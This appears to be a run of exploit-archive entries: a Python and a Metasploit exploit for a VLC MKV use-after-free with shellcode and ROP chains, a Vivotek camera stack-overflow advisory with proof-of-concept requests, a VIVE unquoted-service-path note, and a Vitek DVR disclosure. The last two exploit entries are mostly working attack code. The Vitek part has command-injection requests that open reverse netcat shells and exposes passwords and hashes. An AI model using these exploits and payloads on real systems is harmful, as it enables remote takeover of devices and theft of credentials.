        # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
        # w32-exec-calc-shellcode.bin
        shellcode = (
        "\x83\xE4\xFC\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64"
        "\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B"
        "\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24"
        "\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0"
        "\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7"
        # add shellcode to avoid crashes by terminating the process
        # xor eax, eax # push eax # mov eax, pExit # jmp eax
        "\x31\xC0\x50\xA1" + pack("<I", pExit) + "\xff\xe0")

        if size == 0x100:
            UAF_object = '\x41'
            while len(UAF_object) < size:
                UAF_object += UAF_object
            UAF_object = UAF_object[:size]
            UAF_object = UAF_object[:0x28] + target_address_packed + UAF_object[0x2c:]
            UAF_object = UAF_object[:0x2c] + pack("<I", target_address + 0x10000) + UAF_object[0x30:]
            UAF_object = UAF_object[:0xf4] + pack("<I", target_address + 0x2bc) + UAF_object[0xf8:]
            UAF_object = UAF_object[:0xf8] + target_address_packed + UAF_object[0xfc:]
            return UAF_object
        else:
            block = '\x00'
            block_size = 0x1000
            while len(block) < block_size:
                block += block
            block = block[:block_size]
            block = block[:0x0] + pack("<I", 0x22000040) + block[0x4:]
            block = block[:0x4] + target_address_packed + block[0x8:]
            block = block[:0x8] + target_address_packed + block[0xc:]
            block = block[:0x10] + pack("<I", 0xc85) + block[0x14:]
            block = block[:0x30] + pack("<I", 0x1) + block[0x34:]
            block = block[:0xc0] + pack("<I", 0x1) + block[0xc4:]
            block = block[:0x194] + pack("<I", 0x2200031c) + block[0x198:]
            block = block[:0x2c0] + pack("<I", 0x220002e4) + block[0x2c4:]
            block = block[:0x2f4] + pack("<I", 0x22000310) + block[0x2f8:]
            block = block[:0x2f8] + rop_chain + block[0x2f8+len(rop_chain):]
            block = block[:0x564] + pack("<I", 0x22000588) + block[0x568:]
            block = block[:0x5e0] + shellcode + block[0x5e0+len(shellcode):]
            while len(block) < size:
                block += block
            return block[:size]

def build_exploit(bits, version):
    # EBML Header
    DocType = "\x42\x82" + data_size(8) + "matroska"
    EBML = "\x1a\x45\xdf\xa3" + data_size(len(DocType)) + DocType

    # Seek Entries
    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x15\x49\xa9\x66"                                   # KaxInfo
    SeekEntry += "\x53\xac" + data_size(2) + "\xff" * 2               # SeekPosition + Index of Segment info
    SeekEntries = "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry  # Seek Entry

    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x11\x4d\x9b\x74"                                   # KaxSeekHead
    SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4               # SeekPosition + Index of SeekHead
    SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x10\x43\xa7\x70"                                   # KaxChapters
    SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4               # SeekPosition + Index of Chapters
    SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

    # SeekHead
    SeekHead = "\x11\x4d\x9b\x74" + data_size(len(SeekEntries)) + SeekEntries

    # Void
    Void = "\xec" + data_size(2) + "\x41" # Trigger bug with an out-of-order element

    # Info
    SegmentUID = "\x73\xa4" + data_size(16) + uuid.uuid4().bytes
    Info = "\x15\x49\xa9\x66" + data_size(len(SegmentUID)) + SegmentUID

    # Chapters
    ChapterSegmentUID = "\x6e\x67" + data_size(16) + uuid.uuid4().bytes
    ChapterAtom = "\xb6" + data_size(len(ChapterSegmentUID)) + ChapterSegmentUID
    EditionEntry = "\x45\xb9" + data_size(len(ChapterAtom)) + ChapterAtom
    Chapters = "\x10\x43\xa7\x70" + data_size(len(EditionEntry)) + EditionEntry

    if bits == '64':
        size = 0x180
        count = 60
    else:
        size = 0x100
        count = 30

    # Attachments
    print "[+] Generating UAF objects...",
    AttachedFiles = ""
    for i in range(500):
        AttachedFiles += str(AttachedFile(build_data(size, bits, version)))
    Attachments = "\x19\x41\xa4\x69" + data_size(len(AttachedFiles)) + AttachedFiles
    print "done"

    # Cluster
    print "[+] Generating payload...",
    payload = build_data(0xfff000, bits, version)
    SimpleBlocks = "\xa3" + data_size(len(payload)) + payload
    SimpleBlocksLength = len(SimpleBlocks) * count
    Timecode = "\xe7" + data_size(1) + "\x00"
    Cluster = "\x1f\x43\xb6\x75" + data_size(len(Timecode) + SimpleBlocksLength) + Timecode
    print "done"

    # Concatenate everything
    SegmentData = SeekHead + Void + Info + Chapters + Attachments + Cluster
    Segment = "\x18\x53\x80\x67" + data_size(len(SegmentData) + SimpleBlocksLength) + SegmentData
    mkv = EBML + Segment

    print "[+] Writing poc MKV...",
    with open('poc.mkv', 'wb') as fp:
        fp.write(mkv)
        for i in range(count):
            fp.write(SimpleBlocks)
    print "done"

    # Bug requires another MKV file in the same directory, hence we
    # generate another 'minimally valid' MKV file that VLC will parse
    # Also able to use any other valid MKV file...
    auxi_mkv = mkv[:0x4f] + "\x15\x49\xa9\x66" + data_size(10) # Add some arbitrary size

    print "[+] Writing auxiliary MKV...",
    with open('auxi.mkv', 'wb') as fp:
        fp.write(auxi_mkv)
    print "done"

if __name__ == '__main__':
    bits = '64' # 32 / 64
    version = '2.2.8'

    print "Building exploit for %s-bit VLC media player %s on Windows" % (bits, version)
    build_exploit(bits, version)
    print "Open VLC and drag and drop in poc.mkv"
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VLC Media Player MKV Use After Free',
      'Description'    => %q(
          This module exploits a use after free vulnerability in
        VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
        MKV files and affects both 32 bits and 64 bits.

          In order to exploit this, this module will generate two files:
        The first .mkv file contains the main vulnerability and heap spray,
        the second .mkv file is required in order to take the vulnerable code
        path and should be placed under the same directory as the .mkv file.

          This module has been tested against VLC v2.2.8. Tested with payloads
        windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
        windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
        cause the application to crash instead.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Eugene Ng - GovTech',      # Vulnerability Discovery, Exploit
        'Winston Ho - GovTech',     # Metasploit Module
      ],
      'References'     =>
        [
          ['CVE', '2018-11529'],
          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
          ['EDB', '44979']
        ],
      'Payload'        =>
        {
          'Space'          => 0x300,
          'DisableNops'    => true
        },
      'Platform'       => 'win',
      'Targets'        => [
        [
          'VLC 2.2.8 on Windows 10 x86',
          {
            'Platform' => 'win',
            'Arch' => [ARCH_X86],
            'Ret' => 0x22000020,
            'ExitPointer' => 0x00411364,
            'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
            'RopChain' => [
              0x0040ae91,             # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
              0x00407086,             # POP EDI # RETN [vlc.exe]
              0x00000040,             # 0x00000040-> edx
              0x0040b058,             # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
              0x41414141,             # Filler (compensate)
              0x41414141,             # Filler (compensate)
              0x41414141,             # Filler (compensate)
              0x004039c7,             # POP EAX # POP ECX # RETN [vlc.exe]
              0x22000030,             # Filler (compensate) for rol [eax] below
              0x41414141,             # Filler (compensate)
              0x004039c8,             # POP ECX # RETN [vlc.exe]
              0x0041193d,             # &Writable location [vlc.exe]
              0x00409d18,             # POP EBX # RETN [vlc.exe]
              0x00000201,             # 0x00000201-> ebx
              0x0040a623,             # POP EBP # RETN [vlc.exe]
              0x0040a623,             # POP EBP # RETN [vlc.exe]
              0x004036CB,             # POP ESI # RETN [vlc.exe]
              0x0040848c,             # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
              0x00407086,             # POP EDI # RETN [vlc.exe]
              0x0040ae95,             # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
              0x0040af61,             # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
              0x22000020 + 0x5e0,     # Shellcode
            ]
          }
        ],
        [
          'VLC 2.2.8 on Windows 10 x64',
          {
            'Platform' => 'win',
            'Arch' => [ARCH_X64],
            'Ret' => 0x40000040,
            'ExitPointer' => 0x00412680,
            'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
            'RopChain' => [
              0x004037ac,             # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
              0x00403b60,             # POP RCX # RET
              0x40000040,             # lpAddress
              0x004011c2,             # POP RDX # RET
              0x00001000,             # dwSize
              0x0040ab70,             # JMP VirtualProtect
              0x40000040 + 0x700,     # Payload
            ]
          }
        ]
      ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 24 2018',
      'DefaultTarget'  => 1))

    register_options [
      OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
      OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
    ]

    deregister_options('FILENAME')
  end

  def to_bytes(num, length, endianess = 'big')
    h = format('%<num>x', num: num)
    s = ('0' * (h.length % 2) + h).rjust(length * 2)
    s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
    endianess == 'big' ?  s : s.reverse
  end

  def data_size(number, numbytes = (1...9))
    # encode 'number' as an EBML variable-size integer.
    numbytes = [numbytes] if numbytes.is_a?(Integer)
    numbytes.each do |size|
      bits = size * 7
      return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
    end
    fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
  end

  def build_data(size)
    block_size = 0x1000

    if target.arch.first == ARCH_X64
      target_address_packed = [target.ret].pack("<Q")
      rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join

      if size == 0x180
        uaf_object = "\x41" * size
        uaf_object[0x30, 8] = target_address_packed
        uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q")
        uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q")
        uaf_object[0x170, 8] = target_address_packed
        return uaf_object
      else
        block = "\x00" * block_size
        block[0x0, 4] = "\x41" * 4
        block[0x8, target_address_packed.length] = target_address_packed
        block[0x10, target_address_packed.length] = target_address_packed

        block[0x40, 8] = [0x1].pack("<Q")
        block[0x58, 8] = [target.ret + 0x3a8].pack("<Q")
        block[0xE4, 8] = [0x1].pack("<Q")

        block[0x1b8, 8] = [target.ret + 0x80].pack("<Q")
        block[0x3b8, rop_chain.length] = rop_chain

        block[0x6d8, 8] = [target.ret + 0x10].pack("<Q")
        block[0x700, payload.encoded.length] = payload.encoded

        block *= size / block.length + 1
      end
      return block[0, size]
    elsif target.arch.first == ARCH_X86
      target_address_packed = [target.ret].pack("<I")
      rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join

      if size == 0x100
        uaf_object = "\x41" * size
        uaf_object[0x28, 4] = target_address_packed
        uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I")
        uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I")
        uaf_object[0xf8, 4] = target_address_packed
        return uaf_object
      else
        block = "\x00" * block_size
        block[0x0, 4] = [0x22000040].pack("<I")
        block[0x4, target_address_packed.length] = target_address_packed
        block[0x8, target_address_packed.length] = target_address_packed

        block[0x10, 4] = [0xc85].pack("<I")
        block[0x30, 4] = [0x1].pack("<I")
        block[0xc0, 4] = [0x1].pack("<I")

        block[0x194, 4] = [0x2200031c].pack("<I")
        block[0x2c0, 4] = [0x220002e4].pack("<I")
        block[0x2f4, 4] = [0x22000310].pack("<I")

        block[0x2f8, rop_chain.length] = rop_chain
        block[0x564, 4] = [0x22000588].pack("<I")
        block[0x5e0, payload.encoded.length] = payload.encoded

        block *= size / block.length + 1
      end
      return block[0, size]
    end
  end

  def generate_mkv
    # EBML Header
    doc_type = "\x42\x82" << data_size(8) << "matroska"
    ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type

    # Seek Entries
    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x15\x49\xa9\x66"                                         # KaxInfo
    seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2                   # SeekPosition + Index of Segment info
    seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry  # Seek Entry

    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x11\x4d\x9b\x74"                                         # KaxSeekHead
    seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4                   # SeekPosition + Index of SeekHead
    seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x10\x43\xa7\x70"                                         # KaxChapters
    seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4                   # SeekPosition + Index of Chapters
    seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

    # SeekHead
    seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries

    # Void
    void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element

    # Info
    segment_uid = "\x73\xa4" << data_size(16) << rand_text(16)
    info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid

    # Chapters
    chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16)
    chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid
    edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom
    chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry

    if target.arch.first == ARCH_X86
      size = 0x100
      count = 30
    elsif target.arch.first == ARCH_X64
      size = 0x180
      count = 60
    end

    # Attachments
    attached_files = ""
    mime = "\x46\x60" << data_size(24) << "application/octet-stream"
    data = build_data(size)
    data = "\x46\x5c" << data_size(data.length) << data
    500.times do
      uid = "\x46\xae" << data_size(8) << rand_text(8)
      file_name = "\x46\x6e" << data_size(8) << rand_text(8)
      header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length)

      attached_files << header << file_name << mime << uid << data
    end
    attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files

    # Cluster
    pay_load = build_data(0xfff000)
    # Since the payload is simply repeated payload blocks appended to cluster then segment_data,
    # we return the simple_block and the count to process later instead.
    # This should result is overall lowered memory usage during payload generation
    simple_block = "\xa3" << data_size(pay_load.length) << pay_load
    simple_blocks_len = simple_block.length * count
    time_code = "\xe7" << data_size(1) << "\x00"
    cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code

    # Concatenate everything
    segment_data = seek_head << void << info << chapters << attachments << cluster
    segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data
    mkv = ebml << segment

    return mkv, simple_block, count
  end

  def exploit
    mkv1, simple_block, count = generate_mkv
    mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)

    tmpname = rand_text_alpha_lower(3..8)
    f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']
    f1 << '.mkv' unless f1.downcase.end_with?('.mkv')

    f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']
    f2 << '.mkv' unless f2.downcase.end_with?('.mkv')

    file_format_filename(f1)
    file_create(mkv1)
    print_status("Created #{f1}. Target should open this file")

    file_format_filename(f2)
    file_create(mkv2)
    print_status("Created #{f2}. Put this file in the same directory as #{f1}")

    print_status("Appending blocks to #{f1}")
    path = File.join(Msf::Config.local_directory, f1)
    full_path = ::File.expand_path(path)
    File.open(full_path, 'ab') do |fd|
      count.times { fd.write(simple_block) }
    end
    print_good("Succesfully appended blocks to #{f1}")
  end

  def file_format_filename(name = '')
    name.empty? ? @fname : @fname = name
  end
end
            
[STX]

Subject: Vivotek IP Cameras - Remote Stack Overflow
Researcher: bashis <mcw noemail eu> (September-October 2017)
PoC: https://github.com/mcw0/PoC
Release date: November 13, 2017
Full Disclosure: 43 days

Attack Vector: Remote
Authentication: Anonymous (no credentials needed)
Firmware Vulnerable: Only 2017 versions affected
Firmware Patched: October 2017 and higher

Device Model:
CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS,
FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA,
FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1,
FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379,
FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2,
FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377,
IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564,
MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, VC8101... and possible more

Download Updated Firmware: http://www.vivotek.com/firmware/


[Timeline]

October 1, 2017: Reported findings with all details to Vivotek Cybersecurity
October 2, 2017: First response from Vivotek
October 5, 2017: ACK of findings from Vivotek
October 11, 2017: Vivotek reported first fixed Firmware
October 12, 2017: After request, Vivotek provided samples of fixed Firmware
October 17, 2017: Verified fixed Firmware, Vivotek thanking for the help
October 30, 2017: Noticed new Firmware released, pinged to get some info about their advisory
November 1, 2017: Agreed on publication November 13, 2017
November 9, 2017: Checked few release notes, none mention security fix; pinged Vivotek with the question why not.
November 13, 2017: No reply from Vivotek, Full Disclosure as planned.


[Details]

Vivotek using modified version of Boa/0.94.14rc21, and the vulnerability has been introduced by Vivotek.

The stack overflow is triggered by "PUT" or "POST" request:

[PUT|POST] /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n

However,
the absolutely minimal request to trigger the stack overflow is weird, most probably due to quick hack:
"[PUT|POST]Content-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"

This allows us to insert [JUNK] with 'Good bytes' up to 9182 bytes (0x1FFF) of the request:
"[PUT|POST][JUNK]Content-Length[JUNK]:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"


Notes:
1. B to I = $R4-$R11; X = $PC
2. Size of request availible in $R3 at the LDMFD
3. Max request size: 9182 bytes (0x1FFF)
4. "Start with "\n" in "\n\r\n\r\n" needed to jump with 0x00xxxxxx (if not $PC will be 0x0dxxxxxx)
5. Space (0x20) after ':' in 'Content-Length:' counting as one char of the 20 bytes
6. Stack not protected with "Stack canaries"
7. Good bytes: 0x01-0x09, 0x0b-0xff; Bad bytes: 0x00, 0x0a;
8. heap: Non-executable + Non-ASLR
9. stack: Non-executable + ASLR


[PoC]

$ echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | ncat -v 192.168.57.20 80

(gdb) target remote 192.168.57.20:23946
Remote debugging using 192.168.57.20:23946
0x76eb2c5c in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) bt
#0  0x58585858 in ?? ()
#1  0x000188f4 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) i reg
r0             0x1	1
r1             0x47210	291344
r2             0x0	0
r3             0x75	117
r4             0x42424242	1111638594
r5             0x43434343	1128481603
r6             0x44444444	1145324612
r7             0x45454545	1162167621
r8             0x46464646	1179010630
r9             0x47474747	1195853639
r10            0x48484848	1212696648
r11            0x49494949	1229539657
r12            0x1	1
sp             0x7e92dac0	0x7e92dac0
lr             0x188f4	100596
pc             0x58585858	0x58585858
cpsr           0x60000010	1610612752
(gdb)


$ echo -en "PUTContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80

(gdb) target remote 192.168.57.20:23946
Remote debugging using 192.168.57.20:23946
0x76e82c5c in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) bt
#0  0x58585858 in ?? ()
#1  0x000188f4 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) i reg
r0             0x1	1
r1             0x47210	291344
r2             0x0	0
r3             0x4f	79
r4             0x42424242	1111638594
r5             0x43434343	1128481603
r6             0x44444444	1145324612
r7             0x45454545	1162167621
r8             0x46464646	1179010630
r9             0x47474747	1195853639
r10            0x48484848	1212696648
r11            0x49494949	1229539657
r12            0x1	1
sp             0x7ec9cac0	0x7ec9cac0
lr             0x188f4	100596
pc             0x58585858	0x58585858
cpsr           0x60000010	1610612752
(gdb)

Have a nice day
/bashis

[ETX]
            
# Exploit Title: VIVE Runtime Service - 'ViveAgentService' Unquoted Service Path
# Date: 11/03/2022
# Exploit Author: Faisal Alasmari 
# Vendor Homepage: https://www.vive.com/
# Software Link: https://developer.vive.com/resources/downloads/
# Version: 1.0.0.4
# Tested: Windows 10 x64



C:\Users\User>sc qc "VIVE Runtime Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VIVE Runtime Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\VIVE\Updater\App\ViveRuntimeService\ViveAgentService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VIVE Runtime Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
            
[STX]

Subject: Vitek RCE and Information Disclosure (and possible other OEM)

Attack vector: Remote
Authentication: Anonymous (no credentials needed)
Researcher: bashis <mcw noemail eu> (December 2017)
PoC: https://github.com/mcw0/PoC
Release date: December 22, 2017
Full Disclosure: 0-day

heap: Executable + Non-ASLR
stack: Executable + ASLR

-[Manufacture Logo]-
            _ _ _ _ _ _ _ _ _ _ _ _
            \  _  _   _  _ _ ___
            / /__/ \ |_/
           / __   /  -  _ ___
          / /  / /  / /
  _ _ _ _/ /  /  \_/  \_ ______
___________\___\__________________


-[OEM (found in the code)]-
Vitek (http://www.vitekcctv.com/) - Verified: VT-HDOC16BR_Firmware_1.02Y_UI_1.0.1.R
Thrive
Wisecon
Sanyo
Inodic
CBC
Elbex
Y3K
KTNC


-[Stack Overflow RCE]-

[Reverse netcat shell]

$ echo -en "GET /dvrcontrol.cgi?nc\x24\x7bIFS\x7d192.168.57.1\x24\x7bIFS\x7d31337\x24\x7bIFS\x7d-e\x24\x7bIFS\x7dsh\x24\x7bIFS\x7d HTTP/1.0\r\nAuthorization Pwned: `for((i=0;i<272;i++)); do echo -en "A";done`\x80\x9a\x73\x02\xc8\x4a\x11\x20\r\n\r\n"|ncat 192.168.57.20 81

[Listener]

$ ncat -vlp 31337
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: E672 0A5B B852 8EF9 36D0 E979 2827 1FAD 7482 8A7B
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337

Ncat: Connection from 192.168.57.20.
Ncat: Connection from 192.168.57.20:36356.

pwd
/opt/fw

whoami
root
exit
$

Note:
1. Badbytes: 0x00,0x09,0x0a,0x0b,0x0c,0x0d,0x20
2. 0x20 will be replaced with 0x00 by the H4/H1/N1 binary, use this to jump binary included system() address: 0x00114AC8 [system() call in H4]
3. 0x02739A0C + 0x74 = $r11 address we need (0x2739A80) to point our CMD string on heap for system() in $r0

H1:
VT-HDOC4E_Firmware_1.21A_UI_1.1.C.6
.rodata:005292E8 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0
.text:001CD138                 SUB             R3, R11, #0x74
.text:001CD13C                 MOV             R0, R3
.text:001CD140                 BL              system

H4:
VT-HDOC16BR_Firmware_1.02Y_UI_1.0.1.R
.rodata:00B945A0 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0
.text:00114AC8                 SUB             R3, R11, #0x74
.text:00114ACC                 MOV             R0, R3
.text:00114AD0                 BL              system

N1:
VT-HDOC8E_Firmware_1.21E_UI_1.1.C.6
.rodata:004A4AC4 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0
.text:001E9F0C                 SUB             R3, R11, #0x74
.text:001E9F10                 MOV             R0, R3
.text:001E9F14                 BL              system


-[PHP RCE]-

Note: /mnt/usb2 must be mounted and R/W... (normally R/O w/o USB stick inserted)

[Reverse netcat shell (forking)]

$ curl -v 'http://192.168.57.20:80/cgi-bin/php/htdocs/system/upload_check.php' -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1337" -d "`echo -en "\r\n\r\n------WebKitFormBoundary1337\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n100000000\r\n------WebKitFormBoundary1337\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"\|\|nc\$\{IFS\}\$\{REMOTE_ADDR\}\$\{IFS\}31337\$\{IFS\}-e\$\{IFS\}sh\$\{IFS\}\&\$\{IFS\}\|\|\"\r\nContent-Type: application/gzip\r\n\r\nPWNED\r\n\r\n------WebKitFormBoundary1337--\r\n\r\n"`" -X POST

200 OK
[...]
> ERROR : Current_fw_info File Open Error<br>> ERROR : dvr_upgrade File Open Error<br>F/W File(||nc${IFS}${REMOTE_ADDR}${IFS}31337${IFS}-e${IFS}sh${IFS}&${IFS}||) Upload Completed.<br>If you want to upgrade please click START button<br><br><form enctype="multipart/form-data" action="fw_update.php" method="post"><input type="hidden" name="PHPSESSID" value="67eaa14441089e5d2e7fe6ff0fa88d42" /><input type="submit" value="START"></form>	</tbody>
[...]

[Listener]

$ ncat -vlp 31337
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 76D3 7FA3 396A B9F6 CCA6 CEA5 2EF8 06DF FF72 79EF
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from 192.168.57.20.
Ncat: Connection from 192.168.57.20:52726.

pwd
/opt/www/htdocs/system

whoami
nobody

ls -l /mnt/usb2/
total 4
drwxrwxrwx    2 nobody   nobody           0 Dec 16 02:55 dvr
-rw-------    1 nobody   nobody           7 Dec 16 02:55 ||nc${IFS}${REMOTE_ADDR}${IFS}31337${IFS}-e${IFS}sh${IFS}&${IFS}||
exit
$

-[Login / Password Disclosure]-

curl -v "http://192.168.57.20:80/menu.env" | hexdump -C
[binary config, login and password can be found for admin login and all connected cameras]

Admin l/p
[...]
00001380  00 00 00 00 01 01 00 01  01 01 01 00 00 00 00 00  |................|
00001390  00 00 00 00 00 41 44 4d  49 4e 00 00 00 00 00 00  |.....ADMIN......|
000013a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001400  00 00 00 00 00 00 00 00  00 00 00 00 00 00 31 32  |..............12|
00001410  33 34 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |34..............|
00001420  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

Cameras l/p
[...]
00008d80  00 00 00 00 c0 00 a8 00  01 00 15 00 92 1f 00 00  |................|
00008d90  91 1f 00 00 72 6f 6f 74  00 00 00 00 00 00 00 00  |....root........|
00008da0  00 00 00 00 70 61 73 73  00 00 00 00 00 00 00 00  |....pass........|
00008db0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00008dc0  00 00 00 00 00 00 00 00  00 00 00 00 c0 00 a8 00  |................|
00008dd0  01 00 16 00 94 1f 00 00  93 1f 00 00 72 6f 6f 74  |............root|
00008de0  00 00 00 00 00 00 00 00  00 00 00 00 70 61 73 73  |............pass|
00008df0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

-[Hardcode l/p]-
FTP: TCP/10021
TELNET: TCP/10023

/etc/passwd
root:$1$5LFGqGq.$fUozHRdzvapI2qBf1EeoJ0:0:0:root:/root:/bin/sh
woody:$1$e0vY7A0V$BjS38SsHNWC5DxEGlzuEP1:1001:100:woohyun digital user:/home/woody:/bin/sh

-[Korean hardcoded DNS]-
$ cat /etc/resolv.conf
nameserver 168.126.63.1
nameserver 0.0.0.0
